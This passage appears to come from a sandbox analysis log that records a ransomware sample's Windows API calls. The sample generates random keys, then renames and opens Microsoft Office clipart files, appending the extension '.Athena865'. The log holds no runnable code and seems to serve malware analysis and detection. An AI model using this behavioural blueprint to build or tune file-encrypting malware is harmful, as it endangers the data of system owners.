szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.746] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.746] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.747] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01066_.WMF" | out: lpString1="NA01066_.WMF") returned="NA01066_.WMF" [0131.747] lstrlenW (lpString="NA01066_.WMF") returned 12 [0131.747] lstrlenW (lpString="Athena865") returned 9 [0131.747] lstrcmpiW (lpString1="1066_.WMF", lpString2="Athena865") returned -1 [0131.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.Athena865") returned 73 [0131.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.749] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21672) returned 1 [0131.749] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.750] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.750] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.753] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.753] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.753] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.754] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01069_.WMF" | out: lpString1="NA01069_.WMF") returned="NA01069_.WMF" [0131.754] lstrlenW (lpString="NA01069_.WMF") returned 12 [0131.754] lstrlenW (lpString="Athena865") returned 9 [0131.754] lstrcmpiW (lpString1="1069_.WMF", lpString2="Athena865") returned -1 [0131.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.Athena865") returned 73 [0131.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6782) returned 1 [0131.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.756] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.756] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.759] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.759] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.760] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01123_.WMF" | out: lpString1="NA01123_.WMF") returned="NA01123_.WMF" [0131.760] lstrlenW (lpString="NA01123_.WMF") returned 12 [0131.760] lstrlenW (lpString="Athena865") returned 9 [0131.760] lstrcmpiW (lpString1="1123_.WMF", lpString2="Athena865") returned -1 [0131.760] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.Athena865") returned 73 [0131.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.761] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7680) returned 1 [0131.761] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.762] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.762] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.765] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.767] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.767] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.768] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01126_.WMF" | out: lpString1="NA01126_.WMF") returned="NA01126_.WMF" [0131.768] lstrlenW (lpString="NA01126_.WMF") returned 12 [0131.768] lstrlenW (lpString="Athena865") returned 9 [0131.768] lstrcmpiW (lpString1="1126_.WMF", lpString2="Athena865") returned -1 [0131.768] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.Athena865") returned 73 [0131.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.769] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2928) returned 1 [0131.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.770] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.770] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.772] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.773] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.773] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.773] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01130_.WMF" | out: lpString1="NA01130_.WMF") returned="NA01130_.WMF" [0131.773] lstrlenW (lpString="NA01130_.WMF") returned 12 [0131.773] lstrlenW (lpString="Athena865") returned 9 [0131.773] lstrcmpiW (lpString1="1130_.WMF", lpString2="Athena865") returned -1 [0131.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.Athena865") returned 73 [0131.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.775] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5792) returned 1 [0131.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.776] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.776] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.778] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.778] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.778] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.779] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01141_.WMF" | out: lpString1="NA01141_.WMF") returned="NA01141_.WMF" [0131.779] lstrlenW (lpString="NA01141_.WMF") returned 12 [0131.779] lstrlenW (lpString="Athena865") returned 9 [0131.779] lstrcmpiW (lpString1="1141_.WMF", lpString2="Athena865") returned -1 [0131.779] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.Athena865") returned 73 [0131.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.780] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5848) returned 1 [0131.781] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.781] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.781] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.783] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.784] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.784] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01148_.WMF" | out: lpString1="NA01148_.WMF") returned="NA01148_.WMF" [0131.785] lstrlenW (lpString="NA01148_.WMF") returned 12 [0131.785] lstrlenW (lpString="Athena865") returned 9 [0131.785] lstrcmpiW (lpString1="1148_.WMF", lpString2="Athena865") returned -1 [0131.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.Athena865") returned 73 [0131.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.788] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7992) returned 1 [0131.788] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.789] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.789] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.793] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.793] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.793] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.794] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01149_.WMF" | out: lpString1="NA01149_.WMF") returned="NA01149_.WMF" [0131.794] lstrlenW (lpString="NA01149_.WMF") returned 12 [0131.794] lstrlenW (lpString="Athena865") returned 9 [0131.794] lstrcmpiW (lpString1="1149_.WMF", lpString2="Athena865") returned -1 [0131.794] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.Athena865") returned 73 [0131.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.796] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4680) returned 1 [0131.796] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.797] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.797] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.799] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.800] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.800] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.801] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01152_.WMF" | out: lpString1="NA01152_.WMF") returned="NA01152_.WMF" [0131.801] lstrlenW (lpString="NA01152_.WMF") returned 12 [0131.801] lstrlenW (lpString="Athena865") returned 9 [0131.801] lstrcmpiW (lpString1="1152_.WMF", lpString2="Athena865") returned -1 [0131.801] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.Athena865") returned 73 [0131.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.802] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8752) returned 1 [0131.802] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.803] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.803] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.806] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.807] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.807] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.807] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01154_.WMF" | out: lpString1="NA01154_.WMF") returned="NA01154_.WMF" [0131.807] lstrlenW (lpString="NA01154_.WMF") returned 12 [0131.807] lstrlenW (lpString="Athena865") returned 9 [0131.807] lstrcmpiW (lpString1="1154_.WMF", lpString2="Athena865") returned -1 [0131.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.Athena865") returned 73 [0131.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.809] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5552) returned 1 [0131.809] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.810] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.810] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.814] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.814] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.814] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.815] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01157_.WMF" | out: lpString1="NA01157_.WMF") returned="NA01157_.WMF" [0131.815] lstrlenW (lpString="NA01157_.WMF") returned 12 [0131.815] lstrlenW (lpString="Athena865") returned 9 [0131.815] lstrcmpiW (lpString1="1157_.WMF", lpString2="Athena865") returned -1 [0131.815] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.Athena865") returned 73 [0131.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.816] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6232) returned 1 [0131.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.817] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.817] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.820] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.820] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.820] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.821] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01158_.WMF" | out: lpString1="NA01158_.WMF") returned="NA01158_.WMF" [0131.821] lstrlenW (lpString="NA01158_.WMF") returned 12 [0131.821] lstrlenW (lpString="Athena865") returned 9 [0131.821] lstrcmpiW (lpString1="1158_.WMF", lpString2="Athena865") returned -1 [0131.821] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.Athena865") returned 73 [0131.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.824] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7284) returned 1 [0131.824] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.825] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.825] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.828] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.829] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.829] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.829] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01161_.WMF" | out: lpString1="NA01161_.WMF") returned="NA01161_.WMF" [0131.829] lstrlenW (lpString="NA01161_.WMF") returned 12 [0131.829] lstrlenW (lpString="Athena865") returned 9 [0131.829] lstrcmpiW (lpString1="1161_.WMF", lpString2="Athena865") returned -1 [0131.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.Athena865") returned 73 [0131.829] MoveFileExW 